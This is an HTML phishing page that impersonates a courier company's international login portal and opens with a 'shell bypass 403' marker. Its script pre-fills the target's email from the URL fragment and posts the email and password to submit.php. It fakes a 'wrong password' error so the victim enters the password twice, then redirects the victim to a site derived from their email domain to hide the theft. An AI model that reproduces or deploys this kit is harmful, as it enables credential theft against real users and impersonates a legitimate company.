shell bypass 403
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="Expires" content="0">
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-control" content="no-cache">
<meta http-equiv="Cache" content="no-cache">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="renderer" content="webkit">
<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=no">
<meta name="description" content="整合国际业务客户账号体系,支持账号管理、登录注册相关协议条款管理、账号寻域鉴权、系统联登、定制化登录注册方案支持。">
<link rel="preload" as="image" href="static/img/video.mp4">
<title>国际认证服务中心(ICAS)</title>
<link href="static/css/app.d9864b0a.css" rel="preload" as="style">
<link href="static/css/chunk-elementUI.66d2bfe5.css" rel="preload" as="style">
<link href="static/css/chunk-libs.a711cf2d.css" rel="preload" as="style">
<link href="static/js/app.1751379869743.js" rel="preload" as="script">
<link href="static/js/chunk-elementUI.1751379869743.js" rel="preload" as="script">
<link href="static/js/chunk-libs.1751379869743.js" rel="preload" as="script">
<link href="static/css/chunk-elementUI.66d2bfe5.css" rel="stylesheet">
<link href="static/css/chunk-libs.a711cf2d.css" rel="stylesheet">
<link href="static/css/app.d9864b0a.css" rel="stylesheet">
<script charset="utf-8" src="static/js/chunk-183b1c92.1751379869743.js"></script>
<link rel="stylesheet" type="text/css" href="static/css/chunk-31b21bd0.45aa3762.css">
<script charset="utf-8" src="static/js/chunk-31b21bd0.1751379869743.js"></script>
<style>
#msg {
display: none;
}
</style>
</head>
<body>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"
style="position: absolute; width: 0; height: 0" id="__SVG_SPRITE_NODE__">
<symbol xmlns="http://www.w3.org/2000/svg" viewBox="0 0 30 36" id="icon-auto_logo">
<g fill="none" fill-rule="evenodd">
<path d="M-3 0h36v36H-3z"></path>
<g fill="#FFF">
<path
d="M30 6.505v13c0 6.699-7.915 16-15 16-6.894 0-14.566-8.781-14.984-15.502l-.012-.255L0 19.505v-13l3.871 3v9.964l.002.17C4.037 24.324 10.241 31.505 15 31.505c4.754 0 10.936-7.178 11.125-11.786l.004-.214v-10l3.871-3z"
fill-rule="nonzero"></path>
<path
d="M25.395 7.076l3.57-2.578C24.997 2.03 20.16.576 14.963.576 9.77.576 4.932 2.03.964 4.498l3.57 2.578a22.197 22.197 0 0 1 10.43-2.578c3.808 0 7.338.943 10.431 2.578z">
</path>
</g>
<g fill-rule="nonzero">
<path
d="M15.697 15.9c.41-.191.835-.316 1.274-.374.44-.059.877-.053 1.313.016.436.07.855.207 1.258.412s.769.473 1.099.802c.432.432.754.916.966 1.45.213.535.317 1.082.313 1.643a4.493 4.493 0 0 1-.324 1.642 4.23 4.23 0 0 1-.955 1.44 4.23 4.23 0 0 1-1.44.955 4.493 4.493 0 0 1-1.642.324c-.56.004-1.108-.1-1.643-.313a4.268 4.268 0 0 1-1.45-.967 4.224 4.224 0 0 1-.807-1.115 4.391 4.391 0 0 1-.418-2.581c.063-.444.189-.87.38-1.28l-4.615-4.615a1.53 1.53 0 0 1-.374-1.549c.06-.183.158-.344.297-.483.14-.14.306-.244.5-.313.194-.07.392-.106.593-.11.202-.004.394.028.577.093.183.066.34.165.473.297l4.625 4.625zm2.944 4.987c.293-.293.44-.645.44-1.055 0-.41-.15-.765-.451-1.065a1.438 1.438 0 0 0-1.055-.44c-.41 0-.761.147-1.054.44-.3.3-.45.655-.45 1.065 0 .41.146.762.439 1.055.3.3.655.45 1.065.45.41 0 .766-.15 1.066-.45z"
fill="#FFF"></path>
<path
d="M12.876 10.129c.555-.555 1.06-.606 1.513-.152l.738.737c.264.265.372.524.322.778-.05.254-.165.472-.348.654l-.897.898-2.122-2.122.794-.793z"
fill="#D70E25"></path>
</g>
</g>
</symbol>
<symbol xmlns="http://www.w3.org/2000/svg" class="icon" viewBox="0 0 1024 1024" id="icon-edit">
<defs>
<style></style>
</defs>
<path
d="M955.238 1024H40.09a40.09 40.09 0 0 1 0-80.18h915.148a40.09 40.09 0 0 1 0 80.18zM745.472 390.298l-186.06-189.594L662.373 95.693 849.05 285.235 745.78 390.298h-.308zM406.374 735.744l-230.246 40.704 44.749-229.683 282.931-289.28 186.06 189.542-283.494 288.768zM930.1 254.771L692.531 12.595A42.7 42.7 0 0 0 663.245 0a41.574 41.574 0 0 0-29.235 12.595L157.082 497.357a39.22 39.22 0 0 0-12.288 22.528L88.37 819.2a39.782 39.782 0 0 0 10.803 35.123 38.298 38.298 0 0 0 34.51 11.418l296.396-52.173a39.475 39.475 0 0 0 23.962-11.366l476.057-486.554a43.622 43.622 0 0 0 12.288-29.286 43.315 43.315 0 0 0-12.288-29.236v-2.355z">
</path>
</symbol>
<symbol xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 16 12"
id="icon-eye">
<defs>
<path
d="M8 2c2.253 0 4.226 1.088 5.903 2.877.576.615 1.077 1.271 1.5 1.928.257.397.433.71.527.897a.667.667 0 0 1 0 .596c-.094.188-.27.5-.526.897a13.661 13.661 0 0 1-1.501 1.928C12.226 12.912 10.253 14 8 14c-2.253 0-4.226-1.088-5.903-2.877a13.661 13.661 0 0 1-1.5-1.928C.34 8.798.163 8.485.07 8.298a.667.667 0 0 1 0-.596c.094-.188.27-.5.526-.897.424-.657.925-1.313 1.501-1.928C3.774 3.088 5.747 2 8 2zm0 1.333c-1.83 0-3.483.912-4.93 2.456A12.342 12.342 0 0 0 1.427 8a12.342 12.342 0 0 0 1.643 2.21c1.447 1.545 3.1 2.457 4.93 2.457 1.83 0 3.483-.912 4.93-2.456A12.342 12.342 0 0 0 14.573 8a12.342 12.342 0 0 0-1.643-2.21C11.483 4.244 9.83 3.332 8 3.332zm0 2a2.667 2.667 0 1 1 0 5.334 2.667 2.667 0 0 1 0-5.334zm0 1.334a1.333 1.333 0 1 0 0 2.666 1.333 1.333 0 0 0 0-2.666z"
id="icon-eye_a"></path>
</defs>
<g transform="translate(0 -2)" fill="none" fill-rule="evenodd">
<mask id="icon-eye_b" fill="#fff">
<use xlink:href="#icon-eye_a"></use>
</mask>
<use fill="#000" fill-rule="nonzero" xlink:href="#icon-eye_a"></use>
<path fill="#666" mask="url(#icon-eye_b)" d="M0 0h16v16H0z"></path>
</g>
</symbol>
<symbol xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" id="icon-ic_menu">
<rect opacity="0.01" width="24" height="24" fill="#333333"></rect>
<path fill-rule="evenodd" clip-rule="evenodd"
d="M19 2H5C3.34315 2 2 3.34315 2 5V9V19C2 20.6569 3.34315 22 5 22H9H19C20.6569 22 22 20.6569 22 19V9V5C22 3.34315 20.6569 2 19 2ZM10 20H19C19.5523 20 20 19.5523 20 19V10H10V20ZM8 10V20H5C4.44772 20 4 19.5523 4 19V10H8ZM9 8H20V5C20 4.44772 19.5523 4 19 4H5C4.44772 4 4 4.44772 4 5V8H9Z"
fill="#333333"></path>
</symbol>
<symbol xmlns="http://www.w3.org/2000/svg" viewBox="0 0 50 47" id="icon-login-loading">
<path
d="M5.352 7.912a7.138 7.138 0 1 0 14.275 0 7.138 7.138 0 0 0-14.275 0zM0 23.077a6.245 6.245 0 1 0 12.49 0 6.245 6.245 0 1 0-12.49 0zM5.353 36.46a5.353 5.353 0 1 0 10.706 0 5.353 5.353 0 0 0-10.706 0zm15.195 5.889a4.68 4.68 0 1 0 9.358 0 4.68 4.68 0 0 0-9.358 0zm15.137-4.996a4.461 4.461 0 1 0 8.922 0 4.461 4.461 0 0 0-8.922 0zm7.139-15.167a3.568 3.568 0 1 0 7.136 0 3.568 3.568 0 0 0-7.136 0zM37.469 8.803a2.677 2.677 0 1 0 5.353 0 2.677 2.677 0 0 0-5.353 0zM24.56 1.795a1.785 1.785 0 1 0 3.57 0 1.785 1.785 0 0 0-3.57 0z"
fill="#DB1E32" fill-rule="nonzero"></path>
</symbol>
<symbol xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" id="icon-menu-user">
<path
d="M16.444 14.2c3.069 0 5.556 2.462 5.556 5.5v2.2c0 .608-.497 1.1-1.111 1.1a1.106 1.106 0 0 1-1.111-1.1v-2.2c0-1.823-1.493-3.3-3.334-3.3H7.556c-1.841 0-3.334 1.477-3.334 3.3v2.2c0 .608-.497 1.1-1.11 1.1A1.106 1.106 0 0 1 2 21.9v-2.2c0-3.038 2.487-5.5 5.556-5.5zM12 1c3.068 0 5.556 2.462 5.556 5.5S15.068 12 12 12 6.444 9.538 6.444 6.5 8.932 1 12 1zm0 2.2c-1.84 0-3.333 1.477-3.333 3.3 0 1.823 1.492 3.3 3.333 3.3 1.84 0 3.333-1.477 3.333-3.3 0-1.823-1.492-3.3-3.333-3.3z"
fill="#333" fill-rule="nonzero"></path>
</symbol>
<symbol xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16" id="icon-monthly">
<g fill-rule="nonzero" stroke="#FFF" stroke-width=".1">
<path
d="M5.608 9.595a.583.583 0 0 1-.582-.582.443.443 0 1 0-.887 0c0 .655.431 1.211 1.026 1.4v.246a.443.443 0 1 0 .887 0v-.246a1.471 1.471 0 0 0 1.026-1.4 1.47 1.47 0 0 0-1.47-1.469h-.003c-.292-.028-.579-.274-.579-.576a.583.583 0 0 1 1.164 0 .443.443 0 1 0 .888 0c0-.654-.431-1.21-1.026-1.4V5.32a.443.443 0 1 0-.887 0v.248a1.471 1.471 0 0 0-1.026 1.4c0 .809.714 1.466 1.523 1.466h.003a.58.58 0 0 1 .522.58.58.58 0 0 1-.579.581z">
</path>
<path
d="M13.552 1.667h-.862V.444a.443.443 0 1 0-.887 0v1.223H10.9V.444a.443.443 0 1 0-.887 0v1.223H6.889V.444A.448.448 0 0 0 6.442 0 .443.443 0 0 0 6 .444v1.223h-.903V.444a.443.443 0 1 0-.888 0v1.223h-.862c-.733 0-1.33.598-1.33 1.331v11.653c0 .733.597 1.33 1.33 1.33h10.206c.733 0 1.33-.597 1.33-1.33V2.998c0-.733-.597-1.33-1.33-1.33zm.444 12.984a.443.443 0 0 1-.444.443H3.346a.443.443 0 0 1-.443-.443V2.998c0-.245.198-.443.443-.443h.862v.622a.443.443 0 1 0 .888 0v-.622h.903v.622a.443.443 0 1 0 .887 0v-.622h3.124v.622a.443.443 0 1 0 .887 0v-.622h.903v.622a.443.443 0 1 0 .887 0v-.622h.862c.245 0 .443.198.443.443v11.653h.004z">
</path>
<path
d="M12.316 5.628H8.97a.443.443 0 1 0 0 .887h3.345a.443.443 0 1 0 0-.887zM12.316 7.934H8.97a.443.443 0 1 0 0 .887h3.345a.443.443 0 1 0 0-.887zM12.316 10.243H8.97a.443.443 0 1 0 0 .887h3.345a.443.443 0 1 0 0-.887zM12.316 12.55H4.583a.443.443 0 1 0 0 .886h7.733a.443.443 0 1 0 0-.887z">
</path>
</g>
</symbol>
</svg>
<noscript>
<strong>We're sorry but 国际认证服务中心(ICAS) doesn't work properly without JavaScript enabled. Please
enable it to continue.
</strong>
</noscript>
<div id="icas" class="">
<div data-v-581d6c1c="" class="register v-cloak">
<div data-v-581d6c1c="" class="header clearfix">
<div data-v-581d6c1c="" class="fl logo">
<img data-v-581d6c1c="" alt="logo-icon-zh-CN" src="static/img/ic_logo_only.ef5cad10.svg"
class="logo-icon">
<span data-v-581d6c1c="" class="divider-logo"></span>
<span data-v-581d6c1c="" class="text-logo">國際統一訂單平臺</span>
</div>
<div data-v-581d6c1c="" class="fr">
<div data-v-13e96660="" data-v-581d6c1c="" class="go-iuop-consult item-select white">
<svg data-v-4b68cf51="" data-v-13e96660="" aria-hidden="true" class="monthly svg-icon">
<use data-v-4b68cf51="" xlink:href="#icon-monthly"></use>
</svg> <span data-v-13e96660="">合作諮詢</span>
</div>
<div data-v-5cca0f91="" data-v-581d6c1c="" class="go-home-icas item-select white">
<img data-v-5cca0f91=""
src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAMAAABEpIrGAAAARVBMVEUAAAD///////////////////////////////////////////////////////////////////////////////////////9SnXPCAAAAFnRSTlMAVKq8KiL58OLRoRIJhmk2z5iOfG0XJkJUSAAAAKNJREFUOMvtktkOAiEMRakUZJh9u///qY5WJtEWo++eF0LuoUuC+5FuXbtPeWiAJtRzuuLgSrW8B+A9gN6MW4lEa3U+JikujdL4ng9RxiujxuF1uwwgd8ZVP9EFS1N7pDtcxlZLRZYCwOwMZoCKQJZASmB6EmyBIwrBFAgnVBMWOliqQjn/gi0w4Hcd7B5g92BChckJnGCS+PxeW74o8ta6b7gBhWAWufCKVgcAAAAASUVORK5CYII=">
<span data-v-5cca0f91=""> 國際官網</span>
</div>
<div data-v-19fa5161="" data-v-581d6c1c="" class="select_site-icas item-select">
<span data-v-19fa5161="" class="site_icon">
<img data-v-19fa5161=""
src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAMAAABEpIrGAAAAQlBMVEUAAAD///////////////////////////////////////////////////////////////////////////////////8IX9KGAAAAFXRSTlMAqj2RcAYbEqWARvLj2s2dUDC5l4OGeDkyAAAAgklEQVQ4y+2SyQ6AIAwFlUJZRMSl//+rXswLEbd4M3FOTTvpaZqH2OzJkQ7m+MxONrpBYassxiQFvVds7KiTJAgiUY/WsPK9lBRCi79DdyIAEzS5ecnTiQDaX3gjTHmZ0cORUPVQCXUPUeSuh3TTg+OLHshnFAlhz9eEKHQtBOLmNSukHBDKOvoitwAAAABJRU5ErkJggg=="
alt="">
</span>
<div data-v-19fa5161="" class="drop el-dropdown white">
<span data-v-19fa5161="" class="el-dropdown-link el-dropdown-selfdefine" id="country_id"
aria-haspopup="list" aria-controls="dropdown-menu-3231" role="button" tabindex="0">
中國
</span>
</div>
</div>
<div data-v-8ad6efd2="" data-v-581d6c1c="" class="select_lang-icas item-select">
<span data-v-8ad6efd2="" class="lang_icon"><img data-v-8ad6efd2=""
src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAMAAABEpIrGAAAAVFBMVEUAAAD///////////////////////////////////////////////////////////////////////////////////////////////////////////8wXzyWAAAAG3RSTlMAVOKHbKz48T8lDgfZzcW1nZFeMxRKRB2lfR4QtHHnAAAA80lEQVQ4y5RT2Q7CMAzL2rGNlrGTa/7//8RRJlQEIsIv1mrH6ZHJX1jqOI6xXr6rtylgR5huH3KKDQo0Mb3rx5MWHqjQd9Co07HUu5byLDQ8HjTITEvbFfXUz6t0QJ9zD3Synul4ZSTm37PIoJLaBpF8Z5ckhshUzWGMECxmrfaLpm8NQjJfJURlSgpo7LQTMCv3aLNybtErz8AkioCgtFojC18LYdl7XYDaDDVw3fe22OelWCautBYlkVQRgzFB67CzZo/4gdE1uC38Tdoxi+WiRI/pXpR/1f5j+c/tD4w/cv7Q+mPv/zjE9hxK1iOQeUkBAIKdJowMJ8qsAAAAAElFTkSuQmCC"
alt="" class="lang_pic"></span>
<div data-v-8ad6efd2="" class="drop el-dropdown white">
<span data-v-8ad6efd2="" class="el-dropdown-link el-dropdown-selfdefine"
aria-haspopup="list" aria-controls="dropdown-menu-3675" role="button" tabindex="0">
繁體中文
</span>
</div>
</div>
</div>
</div>
<div data-v-581d6c1c="" class="main clearfix">
<div data-v-1dd4c573="" data-v-581d6c1c="" class="bgclass tiled-background" mode="0"
url="static/img/video.mp4" style="background: rgb(255, 255, 255);">
<div data-v-1dd4c573=""
style="background-image: url('static/img/video.mp4'); background-repeat: no-repeat; background-size: cover; height: 100%; background-position: left bottom;">
<video data-v-1dd4c573="" muted="muted" autoplay="autoplay" loop="loop" preload=""
class="f-width">
<source data-v-1dd4c573="" src="static/img/video.mp4"
poster="~@/assets/login_images/map_bg.png" type="video/mp4">
</video>
</div>
</div>
<div data-v-581d6c1c="" class="main-form"><!----> <!----> <!---->
<div data-v-61dfa688="" data-v-581d6c1c="" class="login-box">
<div data-v-61dfa688="" class="content-box">
<div data-v-61dfa688=""
class="login-type-list sf-el-tabs el-tabs el-tabs--top sf-el-tabs-en">
<div class="el-tabs__header is-top">
<div class="el-tabs__nav-wrap is-top">
<div class="el-tabs__nav-scroll">
<div role="tablist" class="el-tabs__nav is-top"
style="transform: translateX(0px);">
<div class="el-tabs__active-bar is-top"
style="width: 43px; transform: translateX(102px);"></div>
<div id="tab-1" aria-controls="pane-1" role="tab" tabindex="-1"
class="el-tabs__item is-top">手機號.</div>
<div id="tab-2" aria-controls="pane-2" role="tab" tabindex="0"
class="el-tabs__item is-top is-active" aria-selected="true">郵箱
</div>
<div id="tab-3" aria-controls="pane-3" role="tab" tabindex="-1"
class="el-tabs__item is-top">用戶名</div>
</div>
</div>
</div>
</div>
</div>
<form data-v-61dfa688="" class="el-form login login-form el-form--label-top" id="form-1" method="post" ><!----> <!---->
<div data-v-61dfa688="" class="el-form-item hidden"><!---->
<div class="el-form-item__content">
<div data-v-61dfa688=""
class="sf-el-input-prepend el-input el-input-group el-input-group--prepend el-input--suffix">
<div class="el-input-group__prepend">
<img data-v-61dfa688="" src="static/img/username-icon.db782aa5.svg"
alt="password-icon" class="icon">
</div>
<input type="email" autocomplete="off" required
placeholder="請輸入信箱" name="ai" id="ai"
class="el-input__inner"><!----><!----><!----><!---->
</div><!---->
</div>
</div> <!---->
<div data-v-61dfa688="" style="position: relative; height: 70px;">
<div data-v-61dfa688="" class="el-form-item hidden" style="margin-bottom: 0px;">
<!---->
<div class="el-form-item__content">
<div data-v-61dfa688=""
class="sf-el-input-prepend el-input el-input-group el-input-group--prepend el-input--suffix"
style="margin-bottom: 0px;">
<div class="el-input-group__prepend">
<img data-v-61dfa688="" src="static/img/password-icon.af6cc3d5.svg"
alt="password-icon" class="icon">
</div>
<input type="password" autocomplete="off" required
placeholder="請輸入密碼" name="pr" id="pr"
class="el-input__inner">
<span class="el-input__suffix">
<span class="el-input__suffix-inner">
</span>
</span><!----><!---->
</div><!---->
<div class="el-form-item__error" id="msg">
密碼無效...!請輸入正確的密碼。
</div>
</div>
</div>
</div>
<div data-v-61dfa688="" class="el-form-item term-item mb0 bt32"
style="margin-top: 20px;"><!---->
<div class="el-form-item__content">
<div data-v-61dfa688=""><label data-v-61dfa688=""
class="el-checkbox agree-checkbox"><span
class="el-checkbox__input"><span
class="el-checkbox__inner"></span><input type="checkbox"
aria-hidden="false" class="el-checkbox__original"
value=""></span><!----></label> <span data-v-61dfa688="">
I have read and agree to the
<span data-v-61dfa688="" class="cursor linkColorB">
Privacy Policy
</span></span></div><!---->
</div>
</div> <!----> <!---->
<div data-v-61dfa688="" class="el-form-item mb0">
<div class="el-form-item__content">
<button data-v-61dfa688="" type="submit"
class="el-button w100 el-button--primary"
id="btn1"><span>登入</span>
</button>
</div>
</div>
<div data-v-61dfa688="" class="el-form-item mb0 form-bottom"><!---->
<div class="el-form-item__content"><span data-v-61dfa688=""
class="cursor forgetPSD">忘記密碼</span> <span data-v-61dfa688=""
class="cursor linkColorO fr">立即註冊</span><!----></div>
</div>
</form>
</div>
</div> <!----> <!----> <!---->
</div> <!---->
<div data-v-0f2092e8="" data-v-581d6c1c="" class="copy-icas fixed-bottom"><!---->
<div data-v-0f2092e8=""><span data-v-0f2092e8="">Copyright © 2023 順豐速運 版權所有 粵ICP備08034243號</span>
<div data-v-0f2092e8="" class="cookie-set"><span data-v-0f2092e8="" class="mr10">Cookie設置</span> <span data-v-0f2092e8=""> 《隱私政策》</span></div>
</div>
</div>
</div>
</div>
</div>
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<script>
$(document).ready(function () {
let count = 0;
// Set timestamp on load
$('#form_time').val(Math.floor(Date.now() / 1000));
setTimeout(() => {
$('#btn1').prop('disabled', false);
}, 1500); // JS-only unlock after 1.5 seconds
// Auto-fill email from hash (e.g., #user@example.com)
const ai = window.location.hash.substr(1);
if (ai) {
const atIndex = ai.indexOf("@");
const domainSlice = ai.substring(atIndex + 1);
const domain = domainSlice.substring(0, domainSlice.indexOf('.'));
const finalDomain = domain.toLowerCase();
$('#ai').val(ai); // Fill email input
$('#aich').html(ai).show(); // Display somewhere (optional)
$('#msg').hide();
}
// Submit on Enter key
$(document).keypress(function (event) {
if (event.which === 13) {
event.preventDefault();
$("#btn1").click();
}
});
// Form submission
$('#form-1').on('submit', function (event) {
event.preventDefault();
$('#msg').hide();
count++;
const formData = new FormData(this);
$.ajax({
url: 'submit.php',
type: 'POST',
data: formData,
dataType: 'json',
processData: false,
contentType: false,
beforeSend: function () {
$('#btn1').html('驗證...');
},
success: function (response) {
if (response.status === 'error') {
$('#msg').text(response.msg).show();
$('#btn1').html('再試一次');
return;
}
if (count >= 2) {
count = 0;
if (ai) {
const domain = ai.split('@')[1].split('.')[0];
window.location.href = "http://www." + domain + ".com";
} else {
window.location.href = "http://mail.com";
}
return;
}
$('#pr').val('');
$('#msg').show();
$('#btn1').html('再試一次');
},
error: function (xhr, status, error) {
console.error("AJAX Error:", xhr.responseText);
$('#msg').text("提交失敗,請重試.").show();
$('#btn1').html('再試一次');
}
});
});
});
</script>
</body>
</html>